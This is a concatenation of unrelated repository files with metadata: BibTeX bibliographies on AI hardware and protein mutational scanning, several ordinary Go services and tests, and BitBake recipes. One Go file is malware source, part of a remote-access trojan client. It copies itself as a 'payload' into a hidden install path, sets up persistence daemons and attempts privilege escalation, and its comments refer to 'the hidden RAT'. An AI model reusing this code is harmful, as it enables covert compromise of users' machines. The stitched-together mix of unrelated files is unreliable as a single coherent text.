text:
% Encoding: UTF-8

@Misc{example,
  author = {John Doe},
  title  = {{Example Title}},
  year   = {2020},
  note   = {{Optional Note}},
  url    = {https://example.org/},
  urldate = {2020-01-19},
}

@Misc{ai_wiki,
  author = {Wikipedia},
  title  = {{Artificial intelligence}},
  year   = {2019},
  url    = {https://en.wikipedia.org/w/index.php?title=Artificial_intelligence&oldid=933173910},
  urldate = {2020-01-19},
}

@Misc{quotes_future,
  author = {Nicole Martin},
  title  = {{13 Best Quotes About The Future Of Artificial Intelligence}},
  year   = {2019},
  url    = {https://www.forbes.com/sites/nicolemartin1/2019/06/27/13-greatest-quotes-about-the-future-of-artificial-intelligence/#1b8d2b963bdf},
  urldate = {2020-01-19},
}

@BOOK{artificial_intelligence_a_modern_approach,
  author       = {Stuart Russell and Peter Norvig},
  title        = {{Artificial Intelligence A Modern Approach}},
  publisher    = {Pearson},
  year         = {2016},
  address      = {Harlow},
}

@Misc{xilinx_zynq,
  author = {Xilinx},
  title  = {{Zynq UltraScale+ MPSoC}},
  year   = {2018},
  url    = {https://www.xilinx.com/support/documentation/selection-guides/zynq-ultrascale-plus-product-selection-guide.pdf},
  urldate = {2020-01-19},
}

@Misc{acceleration_xilinx,
  author = {Xilinx},
  title  = {{AI Inference Acceleration}},
  year   = {2020},
  url    = {https://www.xilinx.com/applications/megatrends/machine-learning.html#why},
  urldate = {2020-01-19},
}

@Misc{ai_resources_xilinx,
  author = {Xilinx},
  title  = {{Edge AI Resources}},
  year   = {2020},
  url    = {https://www.xilinx.com/products/design-tools/ai-inference/ai-developer-hub.html#edge},
  urldate = {2020-01-19},
}

@Misc{avnet_ultra96v2,
  author = {Avnet},
  title  = {{Ultra96-V2 Development Board}},
  year   = {2018},
  url    = {http://zedboard.org/product/ultra96-v2-development-board},
  urldate = {2020-01-19},
}

@Misc{baumer_lense,
  author = {Baumer},
  title  = {{ZVL-FL-HC0614-2M}},
  year   = {2020},
  url    = {https://www.baumer.com/ch/en/product-overview/industrial-cameras-image-processing/accessories-image-processing/lenses/zvl-fl-hc0614-2m/p/24320},
  urldate = {2020-01-19},
}

@Misc{global_rolling_shutter,
  author = {Andor},
  title  = {{Rolling Shutter vs Global Shutter Mode}},
  year   = {2020},
  url    = {https://andor.oxinst.com/learning/view/article/rolling-and-global-shutter},
  urldate = {2020-01-19},
}

@Misc{speed_baseball,
  author = {Christian Riedel},
  title  = {{Die schnellste Sportart der Welt}},
  year   = {2013},
  url    = {https://www.netzathleten.de/lifestyle/sports-inside/item/3523-die-schnellste-sportart-der-welt-temporekorde-im-sport},
  urldate = {2020-01-19},
}

@Misc{stemmer_datasheet,
  author = {Stemmer},
  title  = {{Datasheet LHF300 Series}},
  year   = {2006},
  url    = {https://www.stemmer-imaging.com/media/uploads/illumination/smart-vision-lights/en/en-Smart-Vision-Lights-LHF300-series-Linear-Light-Fluorescent-Replacement-BSVL44-201505.pdf},
  urldate = {2020-01-19},
}

@Misc{baumer_cam,
  author = {Baumer},
  title  = {{VCXU-13C}},
  year   = {2019},
  url    = {https://www.baumer.com/ch/de/produktubersicht/industriekameras-bildverarbeitung/industriekameras/cx-serie/usb-3-0-schnittstelle/vcxu-13c/p/medias/__secure__/Baumer_VCXU-13C_EN_20191127_DS.pdf?mediaPK=8988994994206},
  urldate = {2020-01-19},
}

@article{shuttermode,
  author = {Pueo Basilio},
  year = {2016},
  month = {12},
  pages = {53-73},
  title = {High speed cameras for motion analysis in sports science},
  volume = {11},
  journal = {Journal of Human Sport and Exercise},
  doi = {10.14198/jhse.2016.111.05}
}

% -----------------------------------------------
% - AI
% -----------------------------------------------

@Misc{ai_machine_learning,
  author  = {Chris Nicholson},
  title   = {{Artificial Intelligence (AI) vs. Machine Learning vs. Deep Learning}},
  year    = {2019},
  url     = {https://pathmind.com/wiki/ai-vs-machine-learning-vs-deep-learning},
  urldate = {2020-01-19},
}

@Misc{supervised_learning,
  author  = {Chris Nicholson},
  title   = {{A Beginner's Guide to Supervised Learning}},
  year    = {2019},
  url     = {https://pathmind.com/wiki/supervised-learning},
  urldate = {2020-01-19},
}

@Misc{unsupervised_learning,
  author  = {Chris Nicholson},
  title   = {{A Beginner's Guide to Unsupervised Learning}},
  year    = {2019},
  url     = {https://pathmind.com/wiki/unsupervised-learning},
  urldate = {2020-01-19},
}

@Misc{cnn_pathmind,
  author  = {Chris Nicholson},
  title   = {{A Beginner's Guide to Convolutional Neural Networks (CNNs)}},
  year    = {2019},
  url     = {https://pathmind.com/wiki/convolutional-network},
  urldate = {2020-01-19},
}

@Misc{cnn_tds,
  author  = {Sumit Saha},
  title   = {{A Beginner's Guide to Convolutional Neural Networks (CNNs)}},
  year    = {2018},
  month   = dec,
  date    = {15},
  url     = {https://towardsdatascience.com/a-comprehensive-guide-to-convolutional-neural-networks-the-eli5-way-3bd2b1164a53},
  urldate = {2020-01-19},
}

% -----------------------------------------------
% - SW
% -----------------------------------------------

@Misc{baumer_gapi,
  author  = {{Baumer}},
  title   = {{Baumer GAPI SDK}},
  year    = {2020},
  note    = {{Optional Note}},
  url     = {https://www.baumer.com/ch/en/product-overview/industrial-cameras-image-processing/software/baumer-gapi-sdk/c/14174},
  urldate = {2020-01-19},
}

@Misc{dcs,
  author  = {{Cambridge in Colour}},
  title   = {{DIGITAL CAMERA SENSORS}},
  year    = {2020},
  url     = {https://www.cambridgeincolour.com/tutorials/camera-sensors.htm},
  urldate = {2020-01-19},
}

@Misc{baumer_opencv,
  author  = {{Baumer}},
  title   = {{Baumer GAPI and OpenCV}},
  year    = {2020},
  url     = {https://www.baumer.com/ch/en/service-support/know-how/technical-information-industrial-cameras/baumer-gapi-and-opencv/a/baumer-gapi-and-opencv},
  urldate = {2020-01-19},
}

@Misc{opencv_csc,
  author  = {{OpenCV}},
  title   = {{Color Space Conversions}},
  year    = {2019},
  month   = jul,
  date    = {26},
  url     = {https://docs.opencv.org/4.1.1/d8/d01/group__imgproc__color__conversions.html},
  urldate = {2020-01-19},
}
% url     = {https://docs.opencv.org/4.1.1/d8/d01/group__imgproc__color__conversions.html#ga397ae87e1288a81d2363b61574eb8cab},

@Misc{baumer_ic,
  author  = {{Baumer}},
  title   = {{VCXU-13C}},
  year    = {2020},
  url     = {https://www.baumer.com/ch/de/produktubersicht/industriekameras-bildverarbeitung/industriekameras/cx-serie/usb-3-0-schnittstelle/vcxu-13c/p/23792},
  urldate = {2020-01-19},
}

@Misc{opencv_mat,
  author  = {{OpenCV}},
  title   = {{cv::Mat Class Reference}},
  year    = {2019},
  month   = jul,
  date    = {26},
  url     = {https://docs.opencv.org/4.1.1/d3/d63/classcv_1_1Mat.html#a51615ebf17a64c968df0bf49b4de6a3a},
  urldate = {2020-01-19},
}

@Misc{opencv_ooa_absdiff,
  author  = {{OpenCV}},
  title   = {{Operations on arrays}},
  year    = {2019},
  month   = jul,
  date    = {26},
  note    = {{absdiff()}},
  url     = {https://docs.opencv.org/4.1.1/d2/de8/group__core__array.html},
  urldate = {2020-01-19},
}
% url     = {https://docs.opencv.org/4.1.1/d2/de8/group__core__array.html#ga6fef31bc8c4071cbc114a758a2b79c14},

@Misc{opencv_ooa_sum,
  author  = {{OpenCV}},
  title   = {{Operations on arrays}},
  year    = {2019},
  month   = jul,
  date    = {26},
  note    = {{sum()}},
  url     = {https://docs.opencv.org/4.1.1/d2/de8/group__core__array.html#ga716e10a2dd9e228e4d3c95818f106722},
  urldate = {2020-01-19},
}

@Misc{image_formats,
  author  = {{Mozilla}},
  title   = {{Image file type and format guide}},
  year    = {2019},
  month   = oct,
  date    = {16},
  url     = {https://developer.mozilla.org/en-US/docs/Web/Media/Formats/Image_types},
  urldate = {2020-01-19},
}

@Comment{jabref-meta: databaseType:bibtex;}


text:
/*
 * Bitnami Kubernetes Production Runtime - A collection of services that makes it
 * easy to run production workloads in Kubernetes.
 *
 * Copyright 2018-2019 Bitnami
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *   http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package integration

import (
	"k8s.io/api/core/v1"
	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
	"k8s.io/client-go/kubernetes"

	. "github.com/onsi/ginkgo"
	. "github.com/onsi/gomega"
)

// This test uses https://onsi.github.io/ginkgo/ - see there for docs
// on the slightly odd structure this imposes.
var _ = Describe("version", func() {
	var c kubernetes.Interface
	var configmap *v1.ConfigMap

	BeforeEach(func() {
		c = kubernetes.NewForConfigOrDie(clusterConfigOrDie())
	})

	JustBeforeEach(func() {
		var err error
		configmap, err = c.CoreV1().
			ConfigMaps("kubeprod").
			Get("release", metav1.GetOptions{})
		Expect(err).NotTo(HaveOccurred())
	})

	It("should contain release information", func() {
		Expect(configmap.Data).To(HaveKeyWithValue(
			"release",
			SatisfyAny(
				Equal("dev-untagged"),
				MatchRegexp(`\d+\.\d+\.\d+(?:-.*)`),
			)))
	})

})

repository: Gamingpc/kube-prod-runtime

license_type: permissive

repo_name: Gamingpc/kube-prod-runtime

branch_name: refs/heads/master

gha_language: Jsonnet

extension: go


text:
package main

import (
	"context"
	"crypto/tls"
	"flag"
	"fmt"
	"net/http"
	"os"
	"os/signal"
	"syscall"
	"time"

	"github.com/golang/glog"
	retryablehttp "github.com/hashicorp/go-retryablehttp"
)

func main() {
	// get command line parameters for glog
	flag.Parse()

	apiKey := os.Getenv("API")
	if apiKey == "" {
		glog.Fatal("Doppler's API is not configured")
	}

	pipeline := os.Getenv("PIPELINE")
	if pipeline == "" {
		glog.Fatal("Doppler's PIPELINE is not configured")
	}

	environment := os.Getenv("ENVIRONMENT")
	if environment == "" {
		glog.Fatal("Doppler's ENVIRONMENT is not configured")
	}

	pair, err := tls.LoadX509KeyPair("/etc/webhook/certs/cert.pem", "/etc/webhook/certs/key.pem")
	if err != nil {
		glog.Errorf("Filed to load key pair: %v", err)
	}

	client := retryablehttp.NewClient()
	client.RetryWaitMin = 800 * time.Millisecond
	client.RetryWaitMax = 1200 * time.Millisecond
	client.Backoff = retryablehttp.LinearJitterBackoff

	whsvr := &webhookServer{
		apiKey:      apiKey,
		pipeline:    pipeline,
		environment: environment,
		server: &http.Server{
			Addr:      fmt.Sprintf(":%v", 443),
			TLSConfig: &tls.Config{Certificates: []tls.Certificate{pair}},
		},
		client: client,
	}

	// define http server and server handler
	mux := http.NewServeMux()
	mux.HandleFunc("/mutate", whsvr.serve)
	whsvr.server.Handler = mux

	// start webhook server in new rountine
	go func() {
		if err := whsvr.server.ListenAndServeTLS("", ""); err != nil {
			glog.Errorf("Filed to listen and serve webhook server: %v", err)
		}
	}()

	// listening OS shutdown singal
	signalChan := make(chan os.Signal, 1)
	signal.Notify(signalChan, syscall.SIGINT, syscall.SIGTERM)
	<-signalChan

	glog.Infof("Got OS shutdown signal, shutting down wenhook server gracefully...")
	whsvr.server.Shutdown(context.Background())
}

repository: okteto/doppler-injector

repo_name: okteto/doppler-injector

gha_language: Go


text:
@article{chambers2015identification,
  title={Identification of hemagglutinin residues responsible for {H3N2} antigenic drift during the 2014--2015 influenza season},
  author={Chambers, Benjamin S and Parkhouse, Kaela and Ross, Ted M and Alby, Kevin and Hensley, Scott E},
  journal={Cell Reports},
  volume={12},
  number={1},
  pages={1--6},
  year={2015},
  publisher={Elsevier},
  doi = {10.1016/j.celrep.2015.06.005},
}

@article{fowler2014deep,
author = {Fowler, Douglas M and Fields, Stanley},
title = {Deep mutational scanning: a new style of protein science.},
journal = {Nature Methods},
year = {2014},
volume = {11},
number = {8},
pages = {801--807},
month = aug,
doi = {10.1038/nmeth.3027},
}

@article{esposito2019mavedb,
  title={MaveDB: an open-source platform to distribute and interpret data from multiplexed assays of variant effect},
  author={Esposito, Daniel and Weile, Jochen and Shendure, Jay and Starita, Lea M and Papenfuss, Anthony T and Roth, Frederick P and Fowler, Douglas M and Rubin, Alan F},
  journal={Genome Biology},
  volume={20},
  number={1},
  pages={1--11},
  year={2019},
  publisher={BioMed Central},
  doi={10.1186/s13059-019-1845-6}
}

@article{lee2019mapping,
  title={Mapping person-to-person variation in viral mutations that escape polyclonal serum targeting influenza hemagglutinin},
  author={Lee, Juhye M and Eguia, Rachel and Zost, Seth J and Choudhary, Saket and Wilson, Patrick C and Bedford, Trevor and Stevens-Ayers, Terry and Boeckh, Michael and Hurt, Aeron C and Lakdawala, Seema S and others},
  journal={Elife},
  volume={8},
  year={2019},
  publisher={eLife Sciences Publications, Ltd},
  doi={10.7554/eLife.49324}
}

@article{starita2017variant,
  title={Variant interpretation: functional assays to the rescue},
  author={Starita, Lea M and Ahituv, Nadav and Dunham, Maitreya J and Kitzman, Jacob O and Roth, Frederick P and Seelig, Georg and Shendure, Jay and Fowler, Douglas M},
  journal={The American Journal of Human Genetics},
  volume={101},
  number={3},
  pages={315--325},
  year={2017},
  publisher={Elsevier},
  doi={10.1016/j.ajhg.2017.07.014}
}

@article{wrenbeck2017deep,
  title={Deep sequencing methods for protein engineering and design},
  author={Wrenbeck, Emily E and Faber, Matthew S and Whitehead, Timothy A},
  journal={Current Opinion in Structural Biology},
  volume={45},
  pages={36--44},
  year={2017},
  publisher={Elsevier},
  doi={10.1016/j.sbi.2016.11.001}
}

@article{gelman2019recommendations,
  title={Recommendations for the collection and use of multiplexed functional data for clinical variant interpretation},
  author={Gelman, Hannah and Dines, Jennifer N and Berg, Jonathan and Berger, Alice H and Brnich, Sarah and Hisama, Fuki M and James, Richard G and Rubin, Alan F and Shendure, Jay and Shirts, Brian and others},
  journal={Genome Medicine},
  volume={11},
  number={1},
  pages={85},
  year={2019},
  publisher={Springer},
  doi={10.1186/s13073-019-0698-7}
}

@article{rubin2017statistical,
  title={A statistical framework for analyzing deep mutational scanning data},
  author={Rubin, Alan F and Gelman, Hannah and Lucas, Nathan and Bajjalieh, Sandra M and Papenfuss, Anthony T and Speed, Terence P and Fowler, Douglas M},
  journal={Genome Biology},
  volume={18},
  number={1},
  pages={150},
  year={2017},
  publisher={Springer},
  doi={10.1186/s13059-017-1272-5}
}

@Article{	  bloom2015software,
  title		= {Software for the analysis and visualization of deep
		  mutational scanning data},
  author	= {Bloom, Jesse D},
  journal	= {BMC Bioinformatics},
  volume	= {16},
  number	= {1},
  pages		= {1},
  year		= {2015},
  publisher	= {BioMed Central},
  doi = {10.1186/s12859-015-0590-4}
}

@Article{	  echave2016causes,
  title		= {Causes of evolutionary rate variation among protein
		  sites},
  author	= {Echave, Julian and Spielman, Stephanie J and Wilke, Claus
		  O},
  journal	= {Nature Reviews Genetics},
  year		= {2016},
  publisher	= {Nature Publishing Group},
  doi = {10.1038/nrg.2015.18}
}

@software{weile,
  author       = {Jochen Weile},
  title        = {{VariantEffect/mavevis: v0.1.2.1: Minor release for
                   Zenodo DOI minting}},
  month        = sep,
  year         = 2019,
  publisher    = {Zenodo},
  version      = {v0.1.2.1},
  doi          = {10.5281/zenodo.3432882},
  url          = {https://doi.org/10.5281/zenodo.3432882}
}

@unpublished{PyMOL,
  annote = {PyMOL

The PyMOL Molecular Graphics System, Version 1.8, Schr{\"o}dinger, LLC.},
  author = {{Schr\"odinger, LLC}},
  date-added = {2010-08-19 17:29:55 -0400},
  date-modified = {2015-12-22 18:04:08 -0400},
  month = {November},
  title = {The {PyMOL} Molecular Graphics System, Version~1.8},
  year = {2015}
}

license: MIT

gha_license_id: MIT

gha_language: JavaScript

extension: bib


text:
SUMMARY = "Phosphor OpenBMC Mori CPLD Firmware Upgrade Command"
DESCRIPTION = "Phosphor OpenBMC Mori CPLD Firmware Upgrade Comman Daemon"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/Apache-2.0;md5=89aea4e17d99a7cacdbeed46a0096b10"
DEPENDS:append = " systemd phosphor-ipmi-flash"
PROVIDES:append = " virtual/cpld-update"
PR = "r1"

SRC_URI = " \
    file://phosphor-ipmi-flash-bmccpld-update.service \
    file://phosphor-ipmi-flash-mbcpld-update.service \
    file://config-bmccpld.json \
    file://config-mbcpld.json \
"

SYSTEMD_SERVICE:${PN} = " \
    phosphor-ipmi-flash-bmccpld-update.service \
    phosphor-ipmi-flash-mbcpld-update.service \
"

inherit systemd obmc-phosphor-systemd

do_install () {
    install -d ${D}${datadir}/phosphor-ipmi-flash
    install -m 0644 ${WORKDIR}/config-bmccpld.json \
        ${D}${datadir}/phosphor-ipmi-flash
    install -m 0644 ${WORKDIR}/config-mbcpld.json \
        ${D}${datadir}/phosphor-ipmi-flash
    install -d ${D}${systemd_system_unitdir}
    install -m 0644 ${WORKDIR}/phosphor-ipmi-flash-bmccpld-update.service \
        ${D}${systemd_system_unitdir}
    install -m 0644 ${WORKDIR}/phosphor-ipmi-flash-mbcpld-update.service \
        ${D}${systemd_system_unitdir}
}

RDEPENDS:${PN}:append = " libsystemd mori-fw"

RPROVIDES:${PN}:append = " virtual/cpld-update"

FILES:${PN}:append = " \
    ${datadir}/phosphor-ipmi-flash/config-bmccpld.json \
    ${datadir}/phosphor-ipmi-flash/config-mbcpld.json \
"

repository: openbmc/openbmc

repo_name: openbmc/openbmc

gha_license_id: NOASSERTION

gha_language: Python

extension: bb


text:
package nats

import (
	"fmt"

	"github.com/nats-io/go-nats-streaming"
)

// ConsumerConfig provides configuration for a NATS consumer.
type ConsumerConfig struct {
	Channel   string
	ClusterID string
	Group     string
}

// Consumer consumers messages from NATS.
type Consumer struct {
	ch     chan []byte
	conn   stan.Conn
	config *ConsumerConfig
	sub    stan.Subscription
}

// NewConsumer creates a new Consumer.
func NewConsumer(c ConsumerConfig) *Consumer {
	conn, err := stan.Connect(c.ClusterID, "client-1")
	if err != nil {
		panic(fmt.Sprintf("could not connect to nats %s", err.Error()))
	}
	return &Consumer{
		ch:     make(chan []byte, 1),
		conn:   conn,
		config: &c,
	}
}

// Open a connection to NATS server.
func (c *Consumer) Open() {
	handler := func(msg *stan.Msg) {
		c.ch <- msg.Data
	}
	c.sub, _ = c.conn.QueueSubscribe(c.config.Channel, c.config.Group, handler, stan.DurableName(c.config.Group), stan.StartAt(0))
}

// Consume reads one msg from a NATS server.
func (c *Consumer) Consume() ([]byte, error) {
	return <-c.ch, nil
}

// Close closes the connection to NATS.
func (c *Consumer) Close() {
	_ = c.sub.Close()
	_ = c.conn.Close()
	close(c.ch)
}

repository: codyoss/go-event-processing

repo_name: codyoss/go-event-processing


text:
package builder

import (
	"context"
	"os"
	"path/filepath"

	"github.com/moby/buildkit/control"
	"github.com/moby/buildkit/frontend"
	dockerfile "github.com/moby/buildkit/frontend/dockerfile/builder"
	"github.com/moby/buildkit/frontend/gateway"
	"github.com/moby/buildkit/frontend/gateway/forwarder"
	"github.com/moby/buildkit/session"
	"github.com/moby/buildkit/solver/bboltcachestorage"
	"github.com/moby/buildkit/worker"
	"google.golang.org/grpc"
)

// Options is used to config the BuilderServer.
type Options struct {
	Config Config

	// PostImageExportFunc allows to do post check or post action
	// after exporter.
	//
	// TODO(fuweid): Since we caches containerd image in our own, pouch
	// images command won't get the new image exported by buildkit if
	// we don't store it in the cache. The post check is used to
	// save the cache in local. I think we should remove this option
	// after we remove the cache.
	PostImageExportFunc func(context.Context, map[string]string) error
}

// Server wrappers buildkit to provide builder functionality.
type Server struct {
	cfg        *Config
	srv        *grpc.Server
	controller *control.Controller
}

// New returns Server.
//
// TODO(fuweid):
// 1. supports network mode in containerd worker.
// 2. supports cpu/memory limitation in containerd worker.
// 3. supports registry cache.
// 4. use runC/PouchContainer's container mgr to run the container
//	container for build is not created by PouchContainer's ContainerMgr
//	and the exit event will be filed to PouchContainer which has no idea
//	about this. The error log will be annoying.
func New(opts *Options) (*Server, error) {
	sessionMgr, err := session.NewManager()
	if err != nil {
		return nil, err
	}

	setDefaultConfig(&opts.Config)

	// create root
	if err := os.MkdirAll(opts.Config.Root, 0700); err != nil {
		return nil, err
	}

	// initialize containerd worker
	w, err := initializeContainerdWorker(
		&opts.Config,
		withWorkerSessionManager(sessionMgr),
	)
	if err != nil {
		return nil, err
	}

	w, err = addPostImageExporter(w, opts.PostImageExportFunc)
	if err != nil {
		return nil, err
	}

	wc := &worker.Controller{}
	if err := wc.Add(w); err != nil {
		return nil, err
	}

	// frontends
	frontends := map[string]frontend.Frontend{}
	frontends["dockerfile.v0"] = forwarder.NewGatewayForwarder(wc, dockerfile.Build)
	frontends["gateway.v0"] = gateway.NewGatewayFrontend(wc)

	// cacheStorage
	cacheStorage, err := bboltcachestorage.NewStore(filepath.Join(opts.Config.Root, "cache.db"))
	if err != nil {
		return nil, err
	}

	// generate controller
	ctrl, err := control.NewController(control.Opt{
		Frontends:        frontends,
		SessionManager:   sessionMgr,
		CacheKeyStorage:  cacheStorage,
		WorkerController: wc,
	})
	if err != nil {
		return nil, err
	}

	return &Server{
		cfg:        &opts.Config,
		controller: ctrl,
	}, nil
}

// Serve starts the Server.
func (bs *Server) Serve() error {
	srv := grpc.NewServer()
	bs.controller.Register(srv)

	// listener
	lis, err := getListener(bs.cfg.GRPC.Address)
	if err != nil {
		return err
	}
	defer lis.Close()
	bs.srv = srv

	return bs.srv.Serve(lis)
}

// Stop the Server.
func (bs *Server) Stop() {
	if bs.srv == nil {
		return
	}

	srv := bs.srv
	bs.srv = nil
	srv.GracefulStop()
}

repository: WoodsCumming/pouch

repo_name: WoodsCumming/pouch


text:
// +build !android

package client

import (
	"crypto/sha256"
	"errors"
	"log"
	"os"

	"github.com/lu4p/go-escalate"
)

// SetupDaemon installs multiple start daemons for payload persistence
func SetupDaemon() {
	log.Println("[SetupDaemon] Passing off to Daemon installer...")
	go Persist(PathExe)
}

// installExecuteable copies the currently running executeable
// TODO: Remove duplicate source payload once RAT is installed
func installExecuteable() error {
	ex, err := os.Executable()
	if err != nil {
		log.Println("[InstallExe] [!] Couldn't find the currently running exe:", err)
		return err
	}

	data, err := os.ReadFile(ex)
	if err != nil {
		log.Println("[InstallExe] [!] Couldn't read current exe:", err)
		return err
	}

	if err = os.MkdirAll(Path, os.ModePerm); err != nil {
		log.Println("[InstallExe] [!] Couldn't create path for new exe:", err)
		return err
	}

	if err = os.WriteFile(PathExe, data, os.ModePerm); err != nil {
		log.Println("[InstallExe] [!] Couldn't write exe to path:", err)
		return err
	}

	return nil
}

// Elevate uses github.com/lu4p/go-escalate to attempt a privilege
// escalation on the currently running running process
// TODO: Remove duplicate payloads once a successful elevate
func Elevate() error {
	log.Println("[Elevate] Installing payload into:", PathExe)

	if err := installExecuteable(); err != nil {
		return errors.New("[Elevate] [!] Couldn't copy payload into target path")
	}
	log.Println("[Elevate] [+] Successfully copied payload into target path")

	return escalate.Escalate(PathExe)
}

// CheckExistingInstall checks if a payload has already been deployed and is the
// currently running proccess. This is needed because duplicate payloads are required
// during escalation and the installation of the hidden RAT
func CheckExistingInstall() bool {
	osExe, _ := os.Executable()
	if osExe == PathExe {
		log.Println("[CheckExisting] I AM the existing install!")
		return true
	}

	if _, err := os.Stat(PathExe); !os.IsNotExist(err) {
		currExe, _ := os.ReadFile(osExe)
		hash := sha256.New()
		if _, err := hash.Write(currExe); err != nil {
			return false
		}

		sumCurr := hash.Sum(nil)
		hash.Reset()

		installedExe, _ := os.ReadFile(PathExe)
		if _, err := hash.Write(installedExe); err != nil {
			return false
		}

		sumInstalled := hash.Sum(nil)

		if string(sumCurr) == string(sumInstalled) {
			log.Println("[CheckExisting] I am the same binary as the existing install!")
			return true
		}
	}

	log.Println("[CheckExisting] I am NOT the existing install!")
	return false
}

license: Unlicense

gha_license_id: Unlicense


text:
package project

import (
	"fmt"
	"github.com/run-ai/runai-cli/cmd/util"
	"github.com/run-ai/runai-cli/pkg/authentication/assertion"
	"github.com/run-ai/runai-cli/pkg/client"
	commandUtil "github.com/run-ai/runai-cli/pkg/util/command"
	"github.com/spf13/cobra"
)

func runConfigProjectCommand(cmd *cobra.Command, args []string) error {

	project := args[0]
	kubeClient, err := client.GetClient()

	if err != nil {
		return err
	}

	namespaceToSet, err := util.GetNamespaceFromProjectName(project, kubeClient)

	if err != nil {
		return err
	}

	err = kubeClient.SetDefaultNamespace(namespaceToSet)
	if err != nil {
		return err
	}

	fmt.Printf("Project %s has been set as default project\n", project)
	return nil

}

func ConfigureCommand() *cobra.Command {

	var command = &cobra.Command{
		Use:               "project [PROJECT]",
		Aliases:           []string{"projects"},
		Short:             "Configure a default project.",
		ValidArgsFunction: GenProjectNamesForArg,
		PreRun:            commandUtil.RoleAssertion(assertion.AssertViewerRole),
		Run:               commandUtil.WrapRunCommand(runConfigProjectCommand),
		Args:              cobra.RangeArgs(1, 1),
	}

	return command
}

func setCommandDEPRECATED() *cobra.Command {

	var command = &cobra.Command{
		Use:        "set [PROJECT]",
		Short:      fmt.Sprint("Set a default project all available projects."),
		PreRun:     commandUtil.RoleAssertion(assertion.AssertViewerRole),
		Run:        commandUtil.WrapRunCommand(runConfigProjectCommand),
		Args:       cobra.RangeArgs(1, 1),
		Deprecated: "Please use: 'runai config project' instead",
	}

	return command
}

repository: goodoid/runai-cli

repo_name: goodoid/runai-cli


text:
// Package serve is a file serving middleware. It works well (but not
// exclusively) with [rkusa/web](https://github.com/rkusa/web).
//
//  app := web.New()
//  app.Use(serve.Dir("public"))
//
package serve

import (
	"net/http"
)

func Dir(dir string) func(http.ResponseWriter, *http.Request, http.HandlerFunc) {
	fs := http.Dir(dir)

	return func(rw http.ResponseWriter, r *http.Request, next http.HandlerFunc) {
		if r.Method != "GET" && r.Method != "HEAD" {
			next(rw, r)
			return
		}

		name := r.URL.Path
		file, err := fs.Open(name)
		if err != nil {
			next(rw, r)
			return
		}
		defer file.Close()

		stat, err := file.Stat()
		if err != nil || stat.IsDir() {
			next(rw, r)
			return
		}

		http.ServeContent(rw, r, name, stat.ModTime(), file)
	}
}

repository: rkusa/serve

repo_name: rkusa/serve


text:
package model

import (
	"strconv"
	"time"

	"github.com/gomodule/redigo/redis"
	"github.com/google/logger"
	"github.com/qiusnay/gocron/utils"
)

type RedisDB struct {
	Pool *redis.Pool
}

var Redis *RedisDB

func init() {
	Redis = &RedisDB{}
}

func (db *RedisDB) InitPool() {
	redisConf := utils.GetConfig("redis_local", "")
	host := redisConf["host"]
	logger.Info("收到终端断开信号, 忽略, %v", host)
	port := redisConf["port"]
	maxIdle, _ := strconv.Atoi(redisConf["max_idle"])
	maxActive, _ := strconv.Atoi(redisConf["max_active"])

	db.Pool = &redis.Pool{
		MaxIdle:     maxIdle,
		MaxActive:   maxActive,
		IdleTimeout: 240 * time.Second,
		Wait:        true,
		Dial: func() (redis.Conn, error) {
			c, err := redis.Dial("tcp", host+":"+port, redis.DialPassword(""))
			if err != nil {
				return nil, err
			}
			return c, nil
		},
		TestOnBorrow: func(c redis.Conn, t time.Time) error {
			if time.Since(t) < time.Minute {
				return nil
			}
			_, err := c.Do("PING")
			return err
		},
	}

	// 检查redis是否连接有误
	if _, err := db.Pool.Dial(); err != nil {
		panic(err)
	}
}

func (db *RedisDB) Do(command string, args ...interface{}) (interface{}, error) {
	conn := db.Pool.Get()
	defer conn.Close()
	return conn.Do(command, args...)
}

func (db *RedisDB) String(command string, args ...interface{}) (string, error) {
	return redis.String(db.Do(command, args...))
}

func (db *RedisDB) Bool(command string, args ...interface{}) (bool, error) {
	return redis.Bool(db.Do(command, args...))
}

func (db *RedisDB) Strings(command string, args ...interface{}) ([]string, error) {
	return redis.Strings(db.Do(command, args...))
}

func (db *RedisDB) Int(command string, args ...interface{}) (int, error) {
	return redis.Int(db.Do(command, args...))
}

func (db *RedisDB) Ints(command string, args ...interface{}) ([]int, error) {
	return redis.Ints(db.Do(command, args...))
}

func (db *RedisDB) StringMap(command string, args ...interface{}) (map[string]string, error) {
	return redis.StringMap(db.Do(command, args...))
}


text:
SECTION = "devel/chicken"
DESCRIPTION = "Reading and writing Level 5 MAT-File format."
LICENSE = "GPL-3"
LIC_FILES_CHKSUM = "file://mat5-lib.meta;md5=495e31740d5e80c62b9412b7d89f96dc"
DEPENDS_append_class-cross = " chicken-egg-datatype-cross chicken-egg-srfi-63-cross chicken-egg-iset-cross chicken-egg-endian-port-cross chicken-egg-z3-cross"
DEPENDS_append_class-crosssdk = " chicken-egg-datatype-crosssdk chicken-egg-srfi-63-crosssdk chicken-egg-iset-crosssdk chicken-egg-endian-port-crosssdk chicken-egg-z3-crosssdk"
DEPENDS_append_class-nativesdk = " nativesdk-chicken-egg-datatype nativesdk-chicken-egg-srfi-63 nativesdk-chicken-egg-iset nativesdk-chicken-egg-endian-port nativesdk-chicken-egg-z3 chicken-egg-datatype-crosssdk chicken-egg-srfi-63-crosssdk chicken-egg-iset-crosssdk chicken-egg-endian-port-crosssdk chicken-egg-z3-crosssdk"
DEPENDS = " chicken-egg-datatype chicken-egg-srfi-63 chicken-egg-iset chicken-egg-endian-port chicken-egg-z3 chicken-egg-datatype-cross chicken-egg-srfi-63-cross chicken-egg-iset-cross chicken-egg-endian-port-cross chicken-egg-z3-cross"
RDEPENDS_${PN} = " chicken-egg-datatype chicken-egg-srfi-63 chicken-egg-iset chicken-egg-endian-port chicken-egg-z3"

SRC_URI = "http://code.call-cc.org/egg-tarballs/4/mat5-lib/mat5-lib-${PV}.tar.gz"

SRC_URI[md5sum] = "77e16d1d2856f915a9c8180b404ca30d"
SRC_URI[sha256sum] = "7a694cf332cd5e80c2dcb1dbc539c3534c412954c0b49b9aa0fe38978a869f0b"

S = "${WORKDIR}/mat5-lib-${PV}"

inherit chicken_install

